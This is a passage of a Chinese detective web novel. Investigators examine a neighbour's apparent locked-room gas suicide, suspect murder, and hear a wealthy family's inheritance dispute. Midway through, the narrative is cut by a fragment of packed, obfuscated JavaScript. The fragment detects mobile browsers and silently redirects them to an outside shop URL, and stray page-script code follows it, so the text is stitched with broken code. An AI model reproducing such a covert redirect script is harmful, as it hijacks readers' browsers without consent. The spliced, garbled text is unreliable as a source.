“知道。”夏木棉微微蹙眉,“不过……我直觉,张越凝是无辜的。她助理沈青转出去的钱,也有可能是她母亲张芷琼直接安排的呢?” 陆从景:“为了把女儿拖下水,所以特意安排女儿的助理去付这笔钱?” “会不会是张芷琼没有其他信得过的人?等我明天去查一下这个沈青。” 陆从景从抽屉拿出一个文件袋递给木棉,里面是沈青的资料。 沈青,西北某省人,跟张越凝是大学同学,两人在大学期间住同一个寝室,关系非比寻常。 “你认为张芷琼能越过张越凝去指挥沈青吗?当然,如果她们落网,张芷琼和沈青要保张越凝,她们可能会提前串好供词,否认张越凝是知情者。” 夏木棉重重呼了口气,“有这个可能性。” * 夏木棉回到机械厂家属院已经将近7点。 刚进小区,就碰见住9栋的关盛勇在遛狗。 “木棉!” 夏木棉单脚撑住自行车,“关叔,有事?” “小宇和你姐的案子,调查的怎么样了?”关盛勇牵紧自家的狗,关切问道:“凶手抓到了吗?” 夏木棉摇头,没详细说:“还在调查。” 关盛勇是梁小宇的姨丈,他叹道:“警察要我们去做DNA检测,你也知道,我们这边亲戚跟你大伯关系闹僵了。小宇舅舅坚决不让我们几个去提取DNA,所以我们就没去。不过你放心。我们是亲人啊,我们肯定不会是凶手。” 夏木棉知道因大伯母自杀的事,大伯母娘家人跟她大伯都撕破脸成仇人了,她能理解。 “关叔,一码归一码。如果你们希望早日找到杀害小宇哥的真凶,那完全应该配合警方去做个DNA检测。流程很简单,不痛不痒,也不需要你们花钱。” 关盛勇尴尬笑了笑,“我回头劝劝他们。” 也没聊几句,木棉脚下一蹬,骑着自行车回家去。 她爸妈的凉菜摊子最近都没开,家里依然是老爸做好菜,等着她回来。 见她进门,在剥蒜的夏至民赶紧起身:“回来了,快去洗手准备吃饭。” “怎么又剥那么多蒜?” “我们打算明天开摊。”免得天天在家胡思乱想。 木棉是赞同爸妈分散注意力的,“中午就别在小区摆了。” 周围邻居总爱来瞎打探消息。 “我们也是这么想的,就下午去菜市场摆个晚市。” 饭桌上,钟静把木棉爱吃的酸辣土豆丝放她面前,小声探问道:“有进展了吗?” “有一些新思路,可能要过一段时间才能有结果。” 夏至民听了,也担心小女儿压力太大:“爸妈相信你们。你啊,不要有太大压力。” “知道。”夏木棉吃着土豆丝,她敲边鼓问:“爸,妈,10年前,咱们院子里这些邻居经济条件是不是都不太好?” 夏至民:“提前下岗又没找到工作的,肯定不行。就像贾伟东,又懒又滑头,只靠马月娥一个人打零工赚钱养家,他家条件就不行。” “我看他们家吃的用的也不算差。” 钟静这段时间瘦了一大圈,吃什么都没胃口,对什么也都没兴趣,但为了不让女儿担心,也是努力参与聊天话题。 夏至民:“那是他老汉有退休金。” 木棉又问:“卢照麟呢?” “卢照麟比贾伟东要好一些。那两年他给人看鱼塘,没多少钱,也穷。后来去了玉器厂就好很多了。” “许忠呢?”木棉终于把话题扯到正轨上。 夏至民:“许忠?他一直在厂里上班,他家还可以。” 钟静:“他女儿生病,那几年花了好多钱,他家最困难了。” “不是吧。他女儿生病不是早几年吗?” “就是那几年。” “不是,你记错了,许妞儿生病是千禧年的事。”夏至民不敢相信自己记性那么差了。 “不是千禧年,就是03、04年,我们刚搬进来……” 正说着,有人敲门。 坐在最外面的夏至民去开门。 是戴丽华来了。 她手里提着饭盒,“你们在吃饭?正好,我们刚才在一家特别好吃的私房菜馆吃饭,二嫂不是喜欢吃鳝鱼吗?就打包了一份黄焖鳝鱼段回来。” 她是心疼钟静吃不下饭,瘦了这么多,特意打包回来的。 夏至民接过打包盒,“哎呀,你真是,你这么打包,也不怕让小晖女朋友看笑话。” “你说越凝啊?她不会的,特别孝顺的孩子。我说要个中份就行,结果她还偷偷打包了大份的。” 夏木棉站起身:“三婶,你们跟越凝姐出去吃饭了?” “是啊,下午去看房子,晚上你凝姐请吃饭,六点多就吃完了。” 夏至民问她:“你们看了哪里的房子?” “云麓庄园。”戴丽华熟门熟路,自己换了拖鞋走进来。 要是平时钟静肯定会夸赞羡慕,只是最近她没心思,就只道:“那小区好。” 五百万呢!能不好吗? 戴丽华忍着没炫耀,她知道现在炫耀也不合适。 夏至民想起刚才他们有分歧的问题,便问戴丽华:“哎,许忠闺女生病,你记得是哪一年吗?” “许忠?我想想。怎么突然问起这个?” 现在还不能透露更多,夏木棉解释:“我们在做调查,领导让我们把所有邻居家发生的大小事都要调查清楚。” 钟静问:“是0304年吧?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852685|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏至民:“我记得是千禧年。” 戴丽华家跟许忠家是左右邻居,两家关系向来很好,她还比较了解。 “应该是04年,我们是2004年初从老家属院搬过来,当时各家交了房款,手上都没钱,许妞儿生病,把许忠给愁的,我们家老曾跟他关系好,七挪八凑借了他五千块,但远远不够,后来不知道谁借了他一大笔钱,才算凑齐了手续费。” 那时间和缺钱的动机都对上了。 夏木棉不动声色地问:“谁借了他钱?” “好像是他的老同学,具体我也不清楚。”戴丽华看他们桌上就一个酸辣土豆丝,一个清炒莴笋,她心疼他们,又不好多说,只道:“快把鳝鱼段装出来,凉了不好吃。” 夏至民从厨房拿了个大盘子出来,鳝鱼段分成两个打包盒打包的,有点多了。 “我们吃一盒就好,另外一盒你拿回去,你们明天吃。” 戴丽华摆手:“家里冰箱还有菜呢。” 夏至民:“要不给大哥拿一盒。” 这个点梁国邦应该也在吃饭,而且夏木棉有事要去问他,她说:“我去送给大伯。” “快去吧,趁菜还是热的。” 戴丽华赶紧从包里拿出一盒胃药,“木棉你刚好把这个药带去给你大伯。” “什么药?” “胃药,你三叔买给你大伯的。你大伯现在是越来越不爱护自己了,胃疼让他去医院看看,他不去,不给他买药,他是连药也不吃的。” 兄弟三人,也就老三家还算正常,曾立兴戴丽华夫妇难免要多为他们操心。 夏木棉拿了饭盒和胃药,穿鞋出门,从她家去后面15栋上三楼,走快点,两分钟就能到。 梁国邦果然也在吃饭,他更简单,就一碗鸡蛋面,连片菜叶都没有。 放下东西,夏木棉问她大伯,小宇哥出事那几天,许忠有没有来过他家。 梁国邦想了很久,最后还是摇头:“我没什么印象。” 等木棉回到家,吃了晚饭,接到她大伯打来的电话。 “大伯,什么事?” 梁国邦:“我刚问了你三叔,小宇和你姐姐出事头两天你三叔不是肾结石手术住院吗?你三叔帮不了忙,就找了许忠帮忙寻人,许忠还来我家开了两次寻人碰头会。” 那许忠完全有机会偷走梁小宇的泳衣。 夏木棉第一时间把掌握的最新信息发给陆从景。 翌日,陆从景让她把掌握的情况汇报给组长刘泰安。 刘泰安知道陆从景一直在暗中调查张皓钧的案件,一个凶手承认了的、证据确凿的铁案,他原以为是陆从景魔怔了,现在看来,确实有很大的想象空间。 昨天下午他们把许忠请来做了笔录,还提取了DDNA,他问田海亮:“DNA结果什么时候能出来?” “最快明天。头儿,要等吗?” 刘泰安:“别等了,再找个借口把许忠请回来协助调查。” 田海亮当即和小耿去花鸟市场找许忠,结果许忠今天没上班。 到他家也没找到人。 同层住户也只有贾伟东的老父亲在家,老爷子不知道许忠的情况。 拨打许忠手机号码则显示关机。 一直到晚上都没消息。 当天夜晚临睡前,戴丽华坐在床上用平板看电子小说,忽然听见隔壁许忠家“锵”的一声脆响。 “听见了吗?”她问正在掏耳朵的曾立兴。 曾立兴站起身,耳朵贴到墙上,“可能是老许回来了。” 戴丽华放下平板,静静听着。 好像又听不见声音了。 翌日清早,戴丽华不到六点就起床洗漱。 刚准备出门买早餐,就闻到了一股淡淡的煤气味儿。 打开大门,浓郁的煤气味扑面而来。 楼上的老蔡正轻手蹑脚在楼梯口张望,似乎被突然开门的戴丽华吓了一跳。 “哎哟!丽华,你家漏煤气了?” “不是我们家。”戴丽华嗅了嗅,“好像是许忠家的。” 她赶紧拍门,“老许!老许!” 正在刷牙的曾立兴也从屋里头出来了,“怎么回事?” 同时,已经被警方放回来的贾伟东也打开了门,“是不是漏煤气了?” “不会爆炸吧?” “快报警!” 几分钟后,消防来破门,许忠煤气中毒,死在了卧室里。 11、第11章 许忠一氧化碳中毒死了。 他侧躺在卧室床上,死的还算安详。 厨房里的家用煤气罐阀门被打开,两个煤气炉没有点火,但被拧开到最大。 门窗全封闭,阳台门缝用旧衣服塞住,大门从里反锁,现场是一个完全封闭的密室。 陆从景接到夏木棉的电话就开车过来了,现场已被警方封锁,门口围了不少人。 戴上手套后,陆从景先仔细看了门锁。 这是一款老式弹子门锁,如果从里面旋转锁纽反锁后,外面用钥匙是打不开大门的。 餐厅桌上放着一个装过西瓜的铁盘,铁盘里还流淌着西瓜汁。 桌下垃圾篓有几块吃得很干净的西瓜皮。 客厅朴素陈设凌乱,角落放着一个旧式冰箱。 打开冰箱门,冷藏室放了几瓶罐装苹果醋、半袋炒花生,最外面是半个吃剩的西瓜。 走出阳台,阳台上安装了不锈钢防盗网,防盗网没有逃生口。 往回走,进了厨房。 厨房面积不大,但有大小两扇窗户。 上面的小窗户以前应该是装排风扇的,后来安装了抽油烟机,就把排风扇改成了一个往外开的平开小窗户。 小窗户从里面锁上了。 而下面的大窗户已经打开通风。 很奇怪的是,这厨房并不算干净,多少有些油污,唯独窗户这一面墙的瓷砖非常洁净,像是被特意清理过。 窗户边上的台面倒了一个玻璃罐子,罐子旁有一大滩液体,无色无味,看样子是水。 走出厨房,对面就是许忠的卧室。 许忠遗体被抬到阳台急救没成功,又被放回床上,他嘴唇有一氧化碳中毒后特有的樱桃红色,嘴角鼻腔有少许泡沫异物,死前应该有抽搐。 木棉进来跟他汇报情况:“消防员进来的时候,窗户都是关死的。现场暂时没发现第二人的痕迹。另外,许忠在凌晨给他女儿发了一条微信。” “发了什么内容?” 木棉已经拿到了微信截图,她把手机上的图片打开,递过去…… 陆从景低头看了一眼。 【照顾好你妈妈。】 就一句话。 发送时间是凌晨4点。 所以这是自杀?畏罪自杀? “许忠的手机是在哪儿被发现的?” “就在床上。” 陆从景在现场又转了一圈。 刑侦3组其他组员和法医陆续都到了,陆从景没再久留。 从许家出来,正在门口跟戴丽华说话的夏木棉赶紧招手叫他:“师兄!” 看样子是有新发现。 他走过去,跟着夏木棉去了戴丽华家。 因为有邻居在门口张望,戴丽华干脆关上大门。 曾立兴坐在沙发上发呆,脸色不太好。 谁都没想到许忠会这么死了。 “我三叔三婶说,昨晚听见老许家有动静。” “几点钟,什么动静?” 戴丽华说:“大概十一点左右,我们准备睡觉了,忽然听见隔壁传来‘锵’的一声响,之后听见拖拽箱子的声音。” 陆从景疑惑:“拖拽箱子?” “我没听见,老曾听的比较清楚,他说像是拖拽箱子或者挪动实木沙发的声音。” “之后呢?” 戴丽华摇头:“后来我们就睡了,我睡的沉,没听见动静。早上起来就隐隐约约闻到煤气臭味。想想都后怕,这要是爆炸了,我们都得遭殃啊……” 木棉:“是很危险。” 陆从景略作思忖,便吩咐木棉:“提醒他们仔细勘察床底和沙发底下的情况。” 夏木棉应了一声。 果然,没过多久,警方在床底下的一个木箱子里,找到了一个白色帆布袋。 帆布袋里有双44码的旧皮鞋,一对劳工手套以及一瓶过期乙/醚。 所以,许忠就是那天戚振勋在百步中学后山看见的鸭舌帽男子?! * 百步刑侦大队小会议室的办公桌上堆满了资料,3组的组员都在。 “现有的证据都指向许忠是畏罪自杀。但有一点很奇怪,法医根据肝温判断许忠的死亡时间应该是事发凌晨2点-3点之间,可许忠是凌晨4点给他女儿发的微信。” 程栋梁说完,把尸检报告递给刘泰安。 刘泰安问:“现在有技术可以定时发微信吗?” “没有吧?”田海亮说等会儿问问技术科的同事。 程栋梁直接上网搜索,“没有这样的技术。” 田海亮:“差一个小时,也有可能只是技术误差。而且这是密室自杀,现场没有第二人出现的痕迹。不过,我们还没正式调查许忠,他为什么要自杀?” 小耿判断:“心虚!他可能没想到夏木橙的遗骨会被发现,更何况我们接连找了他几次,他肯定会心虚,以为我们已经掌握了足够的证据。” 刘泰安看向陆从景,“你怎么看?” 陆从景前面的会议桌上什么资料都没有,他来开会,连本子都没带。 “我认为不能排除他杀。” 众人互相看了一眼,坐陆从景旁边的夏木棉也不由侧头看向他。 “说说你的论据。” 陆从景:“两点。第一点,就是发微信时间和法医判断死亡时间不符。如果许忠要自杀,他应该不会等到快断气才给女儿发微信,他死亡时间是凌晨2-3点,但他中毒时间肯定在2点之前,他是怎么熬到4点才发微信的?这个误差绝对不止1个小时,也不止2个小时。” “第二点,根据许忠家人提供的线索,许忠喜欢吃西瓜。他死前吃了半个西瓜,西瓜皮刨的很干净,都吃到白瓤了。另外半个没吃,他用保鲜膜封好,放进了冰箱。一个喜欢吃西瓜,准备要自杀的人,他为什么不把中间最好吃的部分全吃了?而是省下一半放进冰箱?那只有一种可能,放进冰箱的那一半,是他留给自己第二天吃的!” 有道理。 程栋梁思维也很活,她赞同陆从景的判断,不过也有疑问。 “如果是他杀,那凶手怎么离开呢?已知大门是从里面反锁,外面用钥匙打不开,所有的窗户都锁上了,而且窗户和阳台都有防盗网,根本出不去。” 陆从景声音淡淡地说:“这就需要我们去破解了。” 刘泰安:“动机呢?动机是什么?” 陆从景:“藏匿夏木橙尸骨的地藏王菩萨雕像,被凶手从一楼搬到七楼,一个人是搬不动的。所以凶手肯定不止一人。目前许忠已经被警方怀疑,如果许忠暴露,那么,他那位还没暴露的同伙,有充分的动机杀许忠灭口。” 这个动机很充分。 笃笃笃! 有人敲门后,推开会议室门。 前两天做的dna检测报告出来了。 坐在最外面的小耿接过报告,翻开后细看。 “头儿,所有去检测的夏梁两家亲朋、家属院成年男性和百步中学老师,都跟夏木橙腹中胎儿没有亲缘关系,包括许忠。” 所以,囚禁□□夏木橙的不是许忠,而是许忠还没暴露的同伙。 刘泰安问:“还有多少人不配合,没做dna检测的?” 田海亮:“机械厂家属院和百步中学去做检测的有25人,预算有限,我们也不可能让所有人都做检测。夏木橙亲戚比较配合,都做了检测,梁家那边梁小宇的舅舅、姨丈和三个表哥,在叶红梅自杀后,跟梁国邦闹掰了,全都拒绝提取dna。” 刘泰安:“既然确定了是熟人作案,接下来,重点还是要对机械厂家属院的住户和百步中学当年的师生进行更为详尽的调查。梁小宇家的几个亲戚要重点突破。而许忠死亡案既然不能排除他杀,那就必须要破解究竟如何密室杀人。还有许忠最近的行踪、他联系和接触过的人要一一进行调查……” 每一件事背后都是海量的工作。 田海亮双手叉腰,为难道:“头儿,我们人手严重不足。” 刘泰安:“晚点我去跟陈队同步案件信息,顺便要人。” 小耿建议:“2组那边最近不是闲下来了吗?跟他们要点人呗。” 2组要是全组参与,那2组的组长势必要压刘泰安一头,刘泰安并不想失去掌控权,他没吱声。 田海亮比较醒目,他跳过这个话题,“对了,现场找到了戚振勋提及的帆布袋,里面的皮鞋鞋印,我们自己初步判断,跟张皓钧案现场鞋印基本一致,目前还要等司法鉴定所那边给我们初步的鉴定报告。如果鉴定报告出来,结果跟我们判断一致的话,是不是就可以申请重启张皓钧案的调查?” 四个案件进行并案,那可真就是大案了! 刘泰安颇有些犹豫:“我跟陈队汇报下情况。不过即使张皓钧案不重启,我们该调查的还是要调查。” 主要是人手不足,很多工作不能全面铺开。 * 夏木棉陪着陆从景再次来到机械厂家属院13栋3楼的许家。 陆从景来进行复勘,想要寻找之前可能被忽略的细节。 他试着去拖拽床底下的木箱,去一个个打开窗户,观察窗户外的防盗网…… 打开厨房顶上的平开小窗户时,他发现小窗户的旋转把手,有一道很新鲜的划痕。 应该是被尖锐利器给划掉了表面的漆。 陆从景拿手机拍下了照片。 差不多一个小时后,他们才走出许家大门。 木棉把许家大门反锁上,恰在此时,隔壁戴丽华家的房门打开。 只见张越凝从屋里走出来,她看见他们,微笑着打招呼:“木棉。陆顾问。” 她竟记得他。 陆从景诧异之余,下意识看了眼自己的穿着。 雾霾蓝t恤,卡其色长裤,干净到没有半点灰尘的白色老爹鞋。 普通,也不丢人。 夏木棉没想到张越凝会在三婶家。 她挤出笑容:“凝姐!你在呀?我三叔三婶在家吗?” 张越凝今天身穿米色衬衣配咖色长裙,除了口红,几乎没化妆,美的很自然。 “他们有事出去了。”张越凝锁上房门,准备离开。 陆从景难得绅士风度,侧身给她让了个位置,让她先走。 经过他前面时,张越凝忽然停住脚步。 她回头看着他们,“我想找你们聊聊,方便吗?” 夏木棉很是愕然,心想是不是哪里出了纰漏,让张越凝觉察了? 陆从景装的比较淡定,“去我车上聊。就在楼下。” 在楼下聊,张越凝显然有顾虑,“我中午有事。下午你们有没有时间?” “可以。”再忙他也得抽出时间来。 张越凝拿出手机,“我加你微信,晚点我发地址给你。” 对于不知道是鱼还是鱼饵的张越凝,陆从景从善如流,他打开二维码递过去。《 》 12、第12章 陆从景和夏木棉在13栋楼下转了一圈,观察3楼户外的情况。 可以看见许忠家厨房的两个窗户,上面的平开小窗是唯一没有安装防盗网的,小窗户旁边就是一根铸铁下水管。 “案发时间你确定小窗户是里面锁死的?” 木棉是第一个到现场的警察,“我来的时候,其他窗户都打开了通风,就上面这个小窗户因为比较高,没有打开,但窗户里面的旋转把手是卡紧的。” “消防破门时还有谁在现场?” “贾伟东和他老婆马月娥,我三叔三婶,报警的蔡叔夫妇,楼上楼下的邻居……”夏木棉想了想,“对了,还有关盛勇也在,他是梁小宇的小姨父。” 陆从景记得这个不配合提取dna的人:“他也住13栋?” “不是,他住9栋,那天他刚好在楼下遛狗,听见动静上来看热闹。” “带着狗上来?” “带了狗。我来的时候,遇见他骂骂咧咧下楼,据说他把狗拴在楼梯扶手上,他自己进去趁热闹,被邻居们骂了。” “当时消防已经破门了吗?” “破门了。” 陆从景思忖着往前走,没再说什么。 他看了眼手机,微信上没动静,张越凝还没把地址发来。 张越凝的微信头像是一把撑开的蓝色雨伞,雨伞上都是雨滴,微信名就是她的名字。 他点进张越凝的朋友圈,只有一条直线,不知道她是没发朋友圈的习惯,还是把他屏蔽了。 * 在仁和医院停车场停好车,刚下车,就看到旁边停着一辆绿水晶的保时捷panamera。 张越凝顿住脚步,看过去,只见张蕤帆从车上下来。 她笑着歪了歪脑袋:“你怎么又开我车?” 张蕤帆比她大一岁,是她外公现任伴侣的孙子,在鸿达集团担任要职,能力很强,个性也很强。 “姑姑让我开的,她说你这车两三个月没开了,让我遛遛。”他自己也有豪车,帮她遛车纯粹是为了维护两家关系。 张越凝挺讨厌她妈妈自作主张瞎安排,但她跟张蕤帆关系还不错,便也没说什么。 张蕤帆问她:“有好车你不开,天天开辆破大众,你怎么想的?” “我老板也就开凯美瑞。” “理解。” 张蕤帆知道张越凝的性格不喜张扬,这辆保时捷也是张鸿禺去年为了平衡张芷琼的不满情绪,送张越凝的生日礼物。 情绪价值大于经济价值。 张越凝问他:“你是刚来,还是准备走了?” 张蕤帆耸肩:“刚来,然后准备走了。你姑奶奶还有大赖小赖一家人在楼上溜须拍马,我懒得掺和。” 又是他们! 张越凝也没评价,只笑道:“那我先上去了。” “车我晚上给你开回去。” “好。” 到了住院部特需病房,看见张蕤帆的奶奶彭秀正在客厅把客人送来的花插进花瓶里,而病房里传来说话声。 “奶奶。” 彭秀和张鸿禺没有领证,但他们在一起二十多年了,家里孙辈自小都是喊她奶奶。 彭秀七十岁左右,保养的很好,她下巴往里一抬,“你爷爷今天状态不错。” “是吧?”张越凝笑着走进病房,只见姑奶奶张红芳和她儿子赖文斌、孙子赖嘉和正围着张鸿禺看一本杂志。 那本杂志上新刊登了他们对张鸿禺的深度报道。 “越凝来了,你外公的最新报道,你看了吗?你表舅安排的。”姑奶奶特别喜欢强调张越凝的外孙女身份。 赖文斌在鸿达集团做副总,专管品牌、内宣和采购,这本就是他的工作职责。 张越凝笑道:“我昨天念给爷爷听了,写得很有深度。” 赖文斌和他母亲对待张越凝的态度是一致的,既瞧不上,又不得不维持好关系,他只微笑着说:“业内影响深远,对鸿达未来布局有很大好处。不过,这不是法律问题,说这些你可能不懂。” 姑奶奶接过话题:“越凝以后是要做大律师的。” 反正不是回鸿达继承家业。 张越凝嘴角往上弯起,回他们一个不失礼貌的假笑。 赖文斌的儿子赖嘉和比张越凝小两岁,张越凝跟他关系还算可以。 张越凝问他:“嘉和,你是不是认识骆安乔?” “认识啊,我们很熟。怎么了?” “骆安乔前段时间跟人打架,把人打成重伤了。他这个案子,我们律所想接,你方不方便帮忙牵个线?” 赖嘉和忙点头:“没问题,我帮你问问。不过他老爸是汇海贸易的老板,他们家应该早请律师了。” 张越凝:“我老板听说他们家请的律师团队出了状况要换人,才想着让我争取争取。” “我等会儿帮你问。” 老爷子张鸿禺叮嘱赖嘉和:“介绍生意可以,但还是少跟汇海的人来往,他们是捞偏门起家的,底子不干净。” 赖嘉和澄清:“舅爷爷放心,我心里有数。” 对于张越凝当着老爷子的面暗示赖嘉和跟汇海太子爷关系熟络,赖文斌颇有些不高兴,他阴阳怪气地说:“帮越凝介绍生意,打几通电话可以,平时还是少跟汇海的人来往。” 张红芳袒护孙儿:“有什么可担心的,嘉和做事有分寸,这不是要帮越凝的忙么。” 护工端着花瓶进来了,彭秀跟在后头。 “十二点了,准备吃午饭了吧?” 张鸿禺合上杂志,这才问孙女:“你吃饭了吗?” “还没呢。”张越凝把手提包放旁边的椅子上。 “那正好,你陪爷爷吃午饭。红芳你们先回,你刚才说的事,我心里有数。”张鸿禺注重亲情,他对妹妹一家素来很好,并把妹妹的儿子儿媳孙子都安排进鸿达集团工作,委以重任,高薪厚职养着。 赖文斌也识趣:“妈,我们先回吧,周末再来看大舅。大舅大舅妈,我们回去了。” 等姑奶奶一家离开,张越凝陪爷爷奶奶吃午饭。 饭后,张鸿禺午休。 张越凝没急着走,她坐在外面客厅沙发上小憩。 曾晖发微信问她中午吃什么,她把刚才跟爷爷吃饭时拍的照片发了过去。 彭秀拿起一根小小的皇帝蕉,剥好皮后递给了张越凝,她压低声音说:“你姑奶奶想把小赖过继给你爷爷做孙子。” 张越凝吃着香蕉,问:“刚提出来的?” “是啊,说得很小声,看我进去就不说话了,提防我呢。帆帆改姓张之后,他们心里一直不高兴,我们当初让帆帆改姓,那是为了安抚你爷爷,没别的想法。他们不一样,我听你妈妈说,他们是想要占大头的。”彭秀叹了一声,“都是为了钱,哪儿有什么亲情。” 张越凝知道姑奶奶一家想要吃绝户的如意算盘已经打了很久,算盘珠子都快蹦到她脸上了。 但这事,姑奶奶不太可能得逞,毕竟她妈张芷琼也不是吃素的。 一点左右,张越凝先行回律所,处理完手上的事务,才给陆从景发了地址和时间。 * 临城是一个以休闲文化著称的边陲小城,老城区里,到处都是茶馆和书吧。 老年人去茶馆,喝茶打牌。 年轻人去书吧,也是喝茶打牌。 当然书吧还能团建,能开商务会议,能讨论方案。 张越凝给陆从景发来的地址,就是一家闹市区的书吧。 青桐书吧是一栋三层楼的老洋房,门口锈迹斑斑的铁门看着已经有些年头。 书吧内的装饰非常简洁粗线条,有点工业年代风,这种风格的装修和维护成本都比较低,有特色,年轻人也喜欢。 这个点,书吧的客人并不多,木棉和陆从景一前一后上了二楼,敲门走进205包厢。 张越凝比他们早到,她正抱着笔记本电脑在打字。 桌上放着果盘、点心和一壶花茶。 “凝姐。”木棉笑着打招呼。 张越凝收起笔记本电脑,起身迎接他们:“我只点了茉莉花茶,你们看看要喝什么饮料。” 陆从景不挑,“喝这个就行。” 为了避免不熟悉的尴尬,坐下后,木棉找了个话题,“这个书吧挺有意思的,我看楼下还有很多猫咪。” “这里私密性不错,这个点没多少客人。”张越凝给他们倒茶。 她说话的声音跟她人一样,永远温柔,有礼。 陆从景十指交叉握在前面,他看着她,开门见山道:“不知道张小姐约我们来,是想聊什么。” 张越凝微微低头思索着,少顷,她才说:“聊张皓钧。” 听到张皓钧的名字,陆从景刚才还带着笑意的脸慢慢沉了下来。 这是预料中的。 她问:“崔雄伟被执行死刑之前主动找过你,他跟你承认我表弟张皓钧不是他杀的,是吗?” “你听谁说的?” 张越凝坦诚道:“一个同行。” “你这位同行是什么时候告诉你这件事的?”陆从景继续反问。 “崔雄伟跟你见面没多久,我就听说了。后来我问了一些朋友,知道警方找崔雄伟核实过真伪,崔雄伟又咬死张皓钧是他杀的。所以,我就没再跟进这件事。” “那你现在为什么又来找我呢?” 张越凝抿唇,“戚振勋给我打电话了。” 她抬起她那双无辜的、水润润的眼睛,“你们认为我杀人了?” 陆从景尴尬了,这个搞师生恋的到现在还不婚的戚老师,果然是个恋爱脑。 他不可能让张越凝窥探他们已经掌握的信息,便解释:“我只是吓唬他,逼他说真话,我们平等地怀疑张皓钧身边的所有人,没有特别怀疑你。” 夏木棉也澄清:“凝姐,我们怎么可能怀疑你杀人呢。” 张越凝浅浅一笑,“你们应该怀疑我。” 夏木棉:“……” 这位张小姐真有意思。 从果盘里捡起开心果来剥壳,陆从景语气平静地问:“‘应该怀疑’是怎么个说法?” “你们肯定以为,皓钧死后,我是最大受益人。” 他们确实是这么认为的,陆从景没承认,但也没否认。 “实际上呢?”他问。 张越凝:“我爷爷也就是我外公,如果他想要栽培我,我毕业后肯定会进鸿达集团历练,哪怕从基层做起。但他没给过我机会。他从来没把我当成继承人培养过。我现在就只是个普通律师,对企业管理一窍不通。” 这也是陆从景一直以来好奇的点。 “你爷爷为什么不培养你?” 张越凝放下手中的茶杯,“因为……我不是我妈亲生的,我是她抱养的孤儿。” 陆从景很意外。 张越凝的所有档案资料都显示,张芷琼就是她的亲生母亲。 以前的年代,有钱人想要资料作假,还是很容易的。 陆从景质疑:“但是,2004年张鸿禺立遗嘱的时候,是给你分了遗产的吧?” “皓钧死后都取消了。爷爷第一份遗嘱给我分遗产,也是因为当时他跟我妈妈在闹矛盾,他才把原本给我妈的那一份,写到了我名下,实际那是给我妈的。我很小的时候,妈妈就警告我……不要妄想得到更多。”张越凝说最后半句的时候,语气带了点故作轻松的酸涩。 木棉明白过来,或者张越凝喜欢曾晖还有另外一个原因,那就是她喜欢曾家温暖的家庭氛围。 陆从景查了张越凝很多资料,他忽然发现,自己好像不认识她。 “我现在得到的,已经是普通人可望而不可求的,我有豪车有豪宅有存款,衣食无忧,我很知足。我希望以后能过平淡幸福的生活就足够了。” 陆从景盯着张越凝那张冷白而又柔和的脸,没说话。 木棉鼓励她:“凝姐,你可以的。” 张越凝微笑着点了点头,“我知道。” 陆从景把话题拉了回来,“所以,张小姐这次约我们出来,就是为了告诉我们,你没有作案动机,是吗?” 张越凝摇头:“我没做过的事,不需要额外澄清,我相信警察不会冤枉好人。我找你们,是想跟你们说,皓钧的案子,我有怀疑的人。” 陆从景放下手里的果壳:“你怀疑谁?” “我妈,张芷琼。”《 》 13、第13章 阳光从朝西的窗户上照进来,暖黄色的光罩在他们身上,给这次不同寻常的面谈带来了一丝意料之外的暖意。 从张越凝口中听到张芷琼的名字,陆从景多少还是有些意外。 他问:“能说说你的理由吗?” 张越凝:“张皓钧的爸爸和我妈妈是同父异母的兄妹,他们关系比较一般。我爷爷器重我大舅,一直把他当继承人培养。可惜我大舅和大舅妈出意外去世了。我妈成了爷爷唯一能倚重的人。” “2004年我爷爷病重要立遗嘱,他想把鸿达集团的股份全部给张皓钧继承,而我妈妈只能分得部分的固定资产和存款,在张皓钧28岁之前,公司暂由我妈妈掌管。因为分的太不公平,这彻底激怒了我妈妈,父女俩为此吵崩了。” “我妈妈的激烈反对并没有改变我爷爷的主意,他立了遗嘱,公司股份留给张皓钧,原本由我妈妈继承的那部分财产份额,则写了我名字,实际就是给我妈妈的。立遗嘱一个月后,张皓钧就出了意外。所有人都以为,他是被吊颈杀手给杀害的。没有人怀疑过我们自己身边人。” “张皓钧死后,爷爷抗住了打击,奇迹般病好了。我妈也跟他低头认错,父女俩的关系有所修复。现在我爷爷计划重新立遗嘱,如果不出意外,我母亲将会是最大的受益者。” 陆从景把剥好的开心果放在碟子里,“除了这个动机外,你还有其他证据吗?” 张越凝抬眼看着他们,空了好一会儿,才说:“没有直接证据。不过上个月,小白楼发现骸骨那天,我妈躲在书房里讲了半小时电话,我隐隐约约听见她埋怨对方没按照她吩咐早做处理,现在暴露了,局面很被动。” “她跟谁讲电话?” 张越凝摇头:“不知道。可能是她副手,也可能是其他人。” “在你们家,你母亲跟谁关系比较好?” “都一般,以前跟我二舅关系也很淡,最近好了一些。” “你二舅?”陆从景知道她二舅是谁,但还是问了一声。 张越凝解释:“赵润嵩,彭秀跟她前夫的儿子。彭秀是我爷爷现在的伴侣。” “为什么张芷琼和赵润嵩关系会比以前好了?” “张皓钧被杀后,过了有两年吧,彭秀让她的孙子赵蕤帆改姓张,以宽慰老爷子的心。” 陆从景:“你母亲什么态度?” “当时她很反感,跟彭秀母子的关系一度也非常差。不过彭秀非常会做人,她跟我妈妈的关系处得还不错,彭秀表示自己不会主动去争取多要遗产,老爷子愿意给他们多少就是多少。后来,我姑奶奶一家加入争抢遗产的战局,这就直接促使我妈跟彭秀母子联手。” “彭秀母子是张皓钧死后的既得利益者吗?” 张越凝很认真地想了想:“皓钧的死,对彭秀一家没什么影响。彭秀跟我爷爷没领结婚证,除了我爷爷平时每月赠予她的财产外,并不会额外再给他们分遗产,我爷爷曾经说过,遗产只会留给张家人。也就是说,只有我爷爷活着,每个月给彭秀零花费,在公司扶持赵润嵩,他们母子才会获得更多利益。” 陆从景又问:“那你母亲怎么跟他们联手呢?” “答应给他们分一些利益吧,他们要的少,姑奶奶家胃口比较大。” 有钱人家的遗产争夺,果然精彩纷呈。 夏木棉好奇问:“你姑奶奶一家竞争力很强吗?” 